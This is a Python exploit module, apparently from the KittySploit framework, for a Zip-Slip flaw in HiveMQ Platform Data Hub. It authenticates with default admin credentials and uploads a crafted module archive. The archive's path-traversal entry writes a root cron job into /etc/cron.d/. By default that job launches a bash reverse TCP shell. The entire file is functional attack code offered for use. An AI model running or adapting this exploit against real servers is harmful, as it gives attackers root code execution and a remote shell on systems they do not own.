HiveMQ Data Hub Zip-Slip custom module cron root RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""HiveMQ Platform Data Hub custom module Zip-Slip cron root RCE."""

from __future__ import annotations

import base64
import io
import json
import random
import time
import zipfile

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "HiveMQ Data Hub Zip-Slip custom module cron root RCE",
        "description": (
            "Admin POST /api/v1/cc-data-hub/module-instances/custom with Zip-Slip "
            "archive writing /etc/cron.d/*."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [],
        "tags": ["hivemq", "zipslip", "rce", "authenticated"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 3,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {
                "suggested_followups": ["scanner/http/hivemq_datahub_zipslip_rce_detect"],
            },
        },
    }

    port = OptPort(443, "HiveMQ web port", required=True)
    ssl = OptBool(True, "Use HTTPS", required=False)
    username = OptString("admin", "HiveMQ username", required=False)
    password = OptString("hivemq", "HiveMQ password", required=False)
    cron_name = OptString("kitty_hmq_rce", "Cron filename under /etc/cron.d/", required=False)
    wait_seconds = OptInteger(70, "Wait after upload for crond", required=False)

    def _login(self) -> bool:
        payload = json.dumps(
            {"userName": str(self.username or "admin"), "password": str(self.password or "hivemq")}
        )
        resp = self.http_request(
            "POST",
            "/api/v1/auth/authenticate",
            data=payload,
            headers={"Content-Type": "application/json"},
            session=True,
        )
        return bool(resp and int(resp.status_code or 0) < 400)

    def _zipslip_zip(self, cron_filename: str, cron_content: str) -> bytes:
        buf = io.BytesIO()
        with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
            traversal = "../../../../../../../../../../../../etc/cron.d/" + cron_filename
            zf.writestr(traversal, cron_content + "\n")
            zf.writestr("module.json", "{}")
        return buf.getvalue()

    def execute(self, cmd: str) -> str:
        if not self._login():
            return "HiveMQ authentication failed"
        cron_file = str(self.cron_name or "kitty_hmq_rce")
        cron_body = f"* * * * * root {{ {cmd}; }}\n"
        zip_bytes = self._zipslip_zip(cron_file, cron_body)
        instance_id = "hmq_zs_" + "".join(random.choice("0123456789abcdef") for _ in range(8))
        payload = json.dumps(
            {"module": base64.b64encode(zip_bytes).decode(), "instanceId": instance_id}
        )
        resp = self.http_request(
            "POST",
            "/api/v1/cc-data-hub/module-instances/custom",
            data=payload,
            headers={"Content-Type": "application/json"},
            session=True,
        )
        if not resp or int(resp.status_code or 0) >= 400:
            return f"custom module upload failed: {(resp.text or '')[:500] if resp else 'no response'}"
        time.sleep(int(self.wait_seconds or 70))
        return (
            f"Zip-Slip module uploaded (instanceId={instance_id}); "
            f"cron drop /etc/cron.d/{cron_file} — verify async root execution"
        )

    def check(self):
        resp = self.http_request("GET", "/api/v1/auth/authenticate")
        if resp and int(resp.status_code or 0) in (200, 401, 405):
            return {"vulnerable": True, "reason": "HiveMQ API reachable", "confidence": "low"}
        return {"vulnerable": False, "reason": "HiveMQ not reachable", "confidence": "low"}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False
        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Target not ready"))
            self.not_vulnerable()
            return False
        print_status("Data Hub Zip-Slip cron upload")
        print_info(self.execute(shell))
        self.vulnerable()
        return True